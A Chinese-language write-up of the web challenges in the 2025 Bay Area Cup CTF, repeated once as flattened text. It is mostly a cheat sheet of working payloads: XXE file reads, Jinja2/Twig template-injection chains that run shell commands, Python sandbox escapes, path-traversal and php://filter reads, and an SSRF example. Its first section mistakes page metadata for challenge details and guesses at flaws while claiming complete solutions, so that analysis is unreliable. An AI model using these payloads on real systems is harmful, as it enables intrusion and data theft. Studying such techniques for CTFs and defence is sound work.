2025年湾区杯网络安全大赛web题解
字数 1547 2025-09-23 19:27:46

2025年湾区杯网络安全大赛Web题解

概述

本文详细解析2025年湾区杯网络安全大赛中的Web类题目,包含解题思路、技术要点和完整利用过程。题目涵盖SSTI、Python沙箱逃逸、文件读取等常见Web安全漏洞。

题目列表

  1. web - 基础Web安全题目
  2. ssti - 服务器端模板注入漏洞
  3. ez_python - Python沙箱逃逸挑战
  4. easy_readfile - 文件读取漏洞利用

1. web题目解析

关键信息

  • 题目标识符:<toolId>19</toolId>
  • 发布时间:2025-09-09 02:59
  • 作者:Mash1r0(北京)
  • 分类:CTF

解题思路

  1. 信息收集

    • 分析XML结构,注意<toolId>标签可能包含题目标识
    • 检查页面注释和隐藏字段
  2. 常见漏洞点

    • XML外部实体注入(XXE)
    • 参数注入或IDOR(通过toolId参数)
    • 客户端安全控制绕过
  3. 利用方法

    POST /api/tool HTTP/1.1
    Host: example.com
    Content-Type: application/xml
    
    <?xml version="1.0"?>
    <!DOCTYPE data [
      <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <data>
      <toolId>&xxe;</toolId>
    </data>
    

2. ssti(服务器端模板注入)

漏洞原理

服务端模板引擎(如Jinja2、Twig)未对用户输入过滤,导致模板代码执行。

检测方法

  • 输入{{7*7}}测试是否返回49
  • 尝试${7*7}(FreeMarker)或#{7*7}(Thymeleaf)

常用Payload

Jinja2

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[407]('cat /flag',shell=True,stdout=-1).communicate() }}

Twig(PHP)

{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

利用步骤

  1. 确定模板引擎类型
  2. 获取内置对象和方法
  3. 寻找OS命令执行途径
  4. 读取flag或获取shell

3. ez_python(Python沙箱逃逸)

常见限制

  • 禁用import、open、eval等危险函数
  • 过滤特殊字符和关键字
  • 限制内置类和属性访问

逃逸方法

方法1:通过继承链逃逸

().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('whoami').read()

方法2:利用builtins

[].__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']('__import__("os").system("id")')

方法3:通过异常处理

>>> try: raise Exception() 
... except Exception as e: 
...     print(e.__traceback__.tb_next.tb_frame.f_globals['__builtins__']['__import__']('os').system('id')) 

过滤绕过技巧

  • Unicode编码:__import__("\u006f\u0073")
  • 字符串拼接:__imp + ort__
  • 属性链访问:getattr(__builtins__, '__imp'+'ort__')

4. easy_readfile(文件读取漏洞)

常见漏洞点

  • 路径遍历:../../etc/passwd
  • PHP包装器:php://filter/convert.base64-encode/resource=index.php
  • 硬编码路径:直接读取已知位置文件

利用Payload

基础路径遍历

http://example.com/download?file=../../../etc/passwd

编码绕过

file=....//....//....//etc/passwd
file=..%2f..%2f..%2fetc%2fpasswd

PHP过滤器

php://filter/convert.base64-encode/resource=config.php
php://filter/string.rot13/resource=index.php

利用日志文件

file=/var/log/apache2/access.log

高级技巧

  1. 有限字符读取

    • 使用php://filter/read=string.toupper/resource=file转换内容
  2. SSRF结合文件读取

    file=http://127.0.0.1:8080/admin
    
  3. 配置文件读取

    • /proc/self/environ
    • /proc/self/cmdline
    • /proc/self/fd/3

通用技巧

1. 信息收集

  • 检查robots.txt
  • 查看页面源代码和注释
  • 分析JS文件中的API端点

2. 目录爆破

常见敏感目录:

/admin
/backup
/config
/.git
/.env

3. Header manipulation

  • Host头注入
  • X-Forwarded-For绕过
  • Referer检查绕过

防御建议

  1. 输入验证:严格过滤用户输入,特别是特殊字符
  2. 最小权限:运行服务使用低权限用户
  3. 沙箱隔离:危险操作应在隔离环境中执行
  4. 日志监控:记录所有敏感操作和异常请求
  5. 定期更新:保持框架和依赖库最新版本

总结

本次比赛Web题目涵盖现代Web应用常见漏洞类型,解题需要结合多种技术手法。重点掌握SSTI的利用链构造、Python沙箱逃逸的对象链遍历以及文件读取的多种绕过方式。在实际渗透测试中,这些技术同样适用且效果显著。

注意:本文仅用于网络安全学习研究,请勿用于非法用途。

2025年湾区杯网络安全大赛Web题解 概述 本文详细解析2025年湾区杯网络安全大赛中的Web类题目,包含解题思路、技术要点和完整利用过程。题目涵盖SSTI、Python沙箱逃逸、文件读取等常见Web安全漏洞。 题目列表 web - 基础Web安全题目 ssti - 服务器端模板注入漏洞 ez_ python - Python沙箱逃逸挑战 easy_ readfile - 文件读取漏洞利用 1. web题目解析 关键信息 题目标识符: <toolId>19</toolId> 发布时间:2025-09-09 02:59 作者:Mash1r0(北京) 分类:CTF 解题思路 信息收集 : 分析XML结构,注意 <toolId> 标签可能包含题目标识 检查页面注释和隐藏字段 常见漏洞点 : XML外部实体注入(XXE) 参数注入或IDOR(通过toolId参数) 客户端安全控制绕过 利用方法 : 2. ssti(服务器端模板注入) 漏洞原理 服务端模板引擎(如Jinja2、Twig)未对用户输入过滤,导致模板代码执行。 检测方法 输入 {{7*7}} 测试是否返回49 尝试 ${7*7} (FreeMarker)或 #{7*7} (Thymeleaf) 常用Payload Jinja2 : Twig(PHP) : 利用步骤 确定模板引擎类型 获取内置对象和方法 寻找OS命令执行途径 读取flag或获取shell 3. ez_ python(Python沙箱逃逸) 常见限制 禁用import、open、eval等危险函数 过滤特殊字符和关键字 限制内置类和属性访问 逃逸方法 方法1:通过继承链逃逸 方法2:利用builtins 方法3:通过异常处理 过滤绕过技巧 Unicode编码: __import__("\u006f\u0073") 字符串拼接: __imp + ort__ 属性链访问: getattr(__builtins__, '__imp'+'ort__') 4. easy_ readfile(文件读取漏洞) 常见漏洞点 路径遍历: ../../etc/passwd PHP包装器: php://filter/convert.base64-encode/resource=index.php 硬编码路径:直接读取已知位置文件 利用Payload 基础路径遍历 : 编码绕过 : PHP过滤器 : 利用日志文件 : 高级技巧 有限字符读取 : 使用 php://filter/read=string.toupper/resource=file 转换内容 SSRF结合文件读取 : 配置文件读取 : /proc/self/environ /proc/self/cmdline /proc/self/fd/3 通用技巧 1. 信息收集 检查 robots.txt 查看页面源代码和注释 分析JS文件中的API端点 2. 目录爆破 常见敏感目录: 3. Header manipulation Host头注入 X-Forwarded-For绕过 Referer检查绕过 防御建议 输入验证 :严格过滤用户输入,特别是特殊字符 最小权限 :运行服务使用低权限用户 沙箱隔离 :危险操作应在隔离环境中执行 日志监控 :记录所有敏感操作和异常请求 定期更新 :保持框架和依赖库最新版本 总结 本次比赛Web题目涵盖现代Web应用常见漏洞类型,解题需要结合多种技术手法。重点掌握SSTI的利用链构造、Python沙箱逃逸的对象链遍历以及文件读取的多种绕过方式。在实际渗透测试中,这些技术同样适用且效果显著。 注意 :本文仅用于网络安全学习研究,请勿用于非法用途。